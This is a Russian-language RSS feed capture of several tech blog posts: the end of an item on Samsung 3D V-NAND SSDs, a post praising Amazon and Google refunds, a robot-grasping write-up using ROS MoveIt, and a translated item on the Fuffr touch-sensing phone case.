Помимо этого, Samsung объявила о запуске новой линейки твердотельных накопителей премиум-класса объемом 128 ГБ, 256 ГБ, 512 ГБ и 1 ТБ, на базе новой флэш-памяти. В отличие от твердотельных накопителей, основанных на флэш-памяти 3D V-NAND первого поколения, которые предназначались для центров обработки данных, новые SSD от Samsung призваны охватить также и верхний сегмент ПК. Новые SSD примерно в два раза превосходят по ресурсу записи и потребляют на 20% меньше энергии, чем диски на основе планарной флэш-памяти MLC NAND. Надёжность хранения данных в объемных чипах по сравнению с обычной двухмерной флэш-памятью возрастает в 2-10 раз.


Позже в этом году Samsung представит новые модели SSD на базе флэш-памяти 3D V-NAND второго поколения с еще более высокими показателями объема и надежности.




Только зарегистрированные пользователи могут оставлять комментарии.

Войдите, пожалуйста.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Не наживайтесь на ошибках клиентов

Хочу поделиться двумя примерами того, как западные компании уважительно относятся к деньгам клиентов и не стараются их оставить себе в случае очевидных ошибок клиентов. Этого очень не хватает русским компаниям, особенно сотовым операторам, которые дошли уже до того, что при неправильном вводе USSD-команды показывают «анекдот» и списывают от 30 рублей.

Amazon




Захотелось посмотреть фильм, который вышел только в США, находясь в России. Решил сделать это через Amazon, так как там наиболее простая процедура оплаты российской картой. В результате кино мы смотрели с получасовыми паузами на буферизацию, похоже что сервера Amazon просто не рассчитаны на отдачу контента в Россию.

Кино посмотрели, буферизацию восприняли как должное, мол «сами виноваты», инцидент забылся. Но однажды утром я получаю СМС о том, что на карту было пополнение на небольшую сумму. Захожу на Gmail и вижу такое письмо:


Оригинал
Hello,

We noticed that you recently experienced poor video playback on Amazon Instant Video. We're sorry for the inconvenience, and have issued you a refund for the following rental(s) and amount(s):


$3.99 — The Russian Soul


While Amazon Instant Video transactions are typically not refundable, we are happy to make an exception in this case. This refund should be processed within the next 2 to 3 business days and will appear on your next billing statement for the same credit card used to purchase this item.







Здравствуйте,


Мы заметили что у вас недавно возникли проблемы с воспроизведением на сервисе Amazon Instant Video. Мы приносим свои извинения за неудобства, а также оформили возврат за заказ:


$3.99 — The Russian Soul


Хотя обычно мы не возвращаем средства за Amazon Instant Video, но в данном случае рады сделать исключение. Вы должны получить средства в течении 2-3 рабочих дней на ту же карту, с которой оплачивали заказ.





Многие из нас не любят, когда за нами следит «большой брат», но в данном случае слежка таки идет на пользу. Что интересно, факт того что я смотрел видео из России их никак не остановил. Надо сказать, моей лояльности этот сервис выиграл просто огромное количество и в случае приезда в США я обязательно рассмотрю варианты его использования.

Google




У меня была оформлена подписка на полный доступ к музыке, но карта истекла и мне было пару месяцев лень исправлять ситуацию. А сегодня я решил послушать музыку (выходные же), для этого надо было снова активировать подписку. Кто не знает — оплата производится за каждый месяц использования. На дату (31.05) я посмотрел уже после того как произвел оплату. Предполагал худшее — что день прослушивания оказался «золотым», но потом зашел на страницу управления и что я вижу:


Вместо того, чтобы воспользоваться ошибкой клиента и снять плату сегодня и завтра, сегодня мне «простили».


На хабре так или иначе есть люди, имеющие свои интернет магазины и этим постом я хочу призвать их быть чуточку лояльнее к клиенту и не пытаться наживаться на его ошибках. Ваша карма и лояльность посетителя стоят гораздо дороже.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


Увидел – Победил. Как устроен захват предметов у робота Tod Bot



Привет Хабр! А вот и снова мы! На перекор множествам скептиков, которые нередко встречались на нашем пути, мы продолжаем развивать проект «Робот Tod Bot». Данный пост является продолжением знакомства с модулем MoveIt как инструментом управления манипулятором.

Прежде всего хочется сказать, что нам удалось достигнуть значительных результатов в задаче захвата и перемещение предметов посредством манипулятора, а также в распознавании объектов, но обо всем по порядку.


Немного теории о захвате в MoveIt




Захват предмета можно представить в виде конвейера, состоящего из нескольких этапов, в котором рассчитывается готовая к исполнению полная траектория: начиная от первоначального положения манипулятора и до непосредственного поднятия объекта. Эти расчеты производятся на основе следующих данных:


  • Планирования сцены, которое обеспечивает инструмент Planning Scene Monitor

  • Идентификатор объекта для захвата

  • Поза захвата кисти для данного объекта




Последняя в свою очередь содержит следующие данные:


  • Положение и ориентация «кисти» манипулятора

  • Ожидаемая вероятность успешного захвата для этой позы

  • Предварительный подход манипулятора, который определяется как направление вектора — минимальное/желаемое расстояние подхода

  • Отступ манипулятора после захвата, который определяется как направление вектора — минимальное расстояние отступа

  • Максимальное усилие захвата




Прежде чем система запустит конвейер, необходимо сгенерировать возможные варианты позиции кисти для захвата нашего объекта. В нашем случае мы делаем предположение, что все захватываемые объекты имеют прямоугольную форму. Соответственно, при захвате в виде двух пальцев, у нас есть только две парных плоскости для надежного захвата предмета, не считая верхней и нижней, на которой стоит предмет. Согласно этому, позиции захвата генерируются в виде полусфер для одной пары плоскостей и другой.


Среди полученного множества возможных поз мы должны отсеять те позы, которые не удовлетворяют форме нашего захвата/кисти, после чего передать оставшиеся в конвейер для дальнейшего планирования траектории достижения этих поз.

В конвейере поднятия предмета, можно выделить три основных момента:




1- Начальное положение; 2- Позиция предзахвата; 3 – Позиция захвата;


Во время выполнения конвейера отдельные траектории будут добавлены в окончательный план поднятия предмета. Если захват успешно прошел все этапы, то только тогда план может быть выполнен. Алгоритм конвейера в общем виде выглядит так:



  1. Планируется траектория от начального положения в точку предзахвата. Если провести аналогию с посадкой самолета на взлетную полосу, то это будет заход на посадку.

  2. Все объекты окружающей среды изначально включены в матрицу столкновений, об этом мы писали тут. Что бы наш захват увенчался успехом, проверка столкновений отключается. Затем открывается захват.

  3. Рассчитывается траектория подхода манипулятора к объекту от точки предзахвата к точке захвата.

  4. Закрывается захват.

  5. Захваченный объект по-прежнему представляется объектом столкновения столь лишь разницей, что теперь он является частью захвата и учитывается при планировании траектории.

  6. Затем генерируется траектория отступа из позиции захвата в точку предзахвата для отрыва предмета от поверхности и фиксации результата поднятия предмета.




Построенный план, содержащий все необходимые траектории, теперь может быть выполнен.


О том, что еще не сказали




Входе наших экспериментов мы решили добавить нашей руке к первоначальным четырем степеням свободы еще две. На видео и фото они изображены красным цветом. Связано это с тем, что в случае использования захвата в виде вилки или антропоморфной кисти необходима хорошая гибкость манипулятора. Кстати, если использовать в качестве захвата вакуумную присоску, то все несколько упрощается и может быть достаточно 4 степеней свободы, т.к. для захвата используется только одна плоскость.

На самом деле, возможность выполнения захвата во многом упирается в генерирование позиций захвата: чем больше и разнообразней будут генерироваться позиции, тем проще будет подобрать оптимальную. Хотя у всего этого есть и обратная сторона медали: чем больше позиций, тем больше времени потребуется на их обработку. В нашем случае мы генерировали сперва 10, 34 позиции, потом 68, а потом 136. Лучшим вариантом, который устроил нас — 34 позиции. При минимальном количестве позиций манипулятору достаточно сложно стать в сгенерированную позу, как правило манипулятор просто физически не может ее достигнуть: не в состоянии именно так вывернуться, слишком короткий, слишком длинный и т.д. При 34 присутствуют от 2 до 5 позиций удовлетворяющих всем условиям.

Распознавание объектов




Для этих целей мы решили использовать узел ROS tabletop_object_detector. Он был реализован учеными Университета Британской Колумбии и уже успел себя зарекомендовать. Хотя, на мой взгляд, выбор системы должен зависеть непосредственно от тех условий, в которых вы собираетесь применять распознавание и тех объектов, которые нужно идентифицировать. В нашем случае распознавание осуществляется по форме объектов, и если вам нужно различить банку огурцов от банки помидоров, то этот метод не подойдет. Для идентификации объектов используются данные камеры глубины, получаемые с Kinect.

Прежде чем распознавать, сперва необходимо обучить систему — создать 3D модель искомого объекта.



3D модель пачки Pringles


После чего система сравнивает получаемые данные с имеющимися в базе моделями.

Результат распознавания выглядит так:



Как и следовало ожидать, скорость поиска объектов на прямую зависит от мощности машины, на которой осуществляется обработка данных. Мы использовали ноутбук с intel core 2 duo 1.8ghz и 3Gb RAM. При этом на идентификацию объектов уходило порядка 1,5 – 2 секунд.

Ну и естественно, умея выделять и идентифицировать объекты из окружающей среды, теперь хочется брать и перемещать их. Следующим шагом будет объединение задач распознавания и управления манипулятором на реальном роботе.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.


[Перевод] Чехол, который делает пространство вокруг смартфона сенсорным


Стартап Fuffr представил концепт чехла для смартфона, который позволяет использовать окружающее пространство в качестве сенсорной области в дополнение к экрану самого устройства. Изобретатели продемонстрировали рабочий образец чехла для iPhone.


Создателями «умного» аксессуара является группа инженеров из Стокгольма. Они также уже разработали бесплатный SDK. Прототип чехла способен распознавать все стандартные жесты, включая различные мультитач-комбинации. Изобретение позволяет сильно увеличить доступную сенсорную площадь, что не только повышает комфортность работы с небольшими смартфонами, но и радикально улучшает точность управления в ряде задач.




Например, с таким чехлом гораздо удобнее делать наброски, прокручивать карты и т.д.




Как утверждает автор обзора с Geek.com, чехол использует свои собственные сенсоры, а не смартфона. Передача данных идёт по Bluetooth LE. Это предположение подтверждается мигающим светодиодом в правом верхнем углу чехла, который можно заметить в видеороликах.


Этот аксессуар ещё не скоро попадёт в продажу, но хочется надеяться, что изобретателям удастся довести его до коммерческого уровня. Ведь столь простое и компактное устройство способно радикально улучшить функциональность интерфейсов практически любых смартфонов.


This entry passed through the Full-Text RSS service — if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.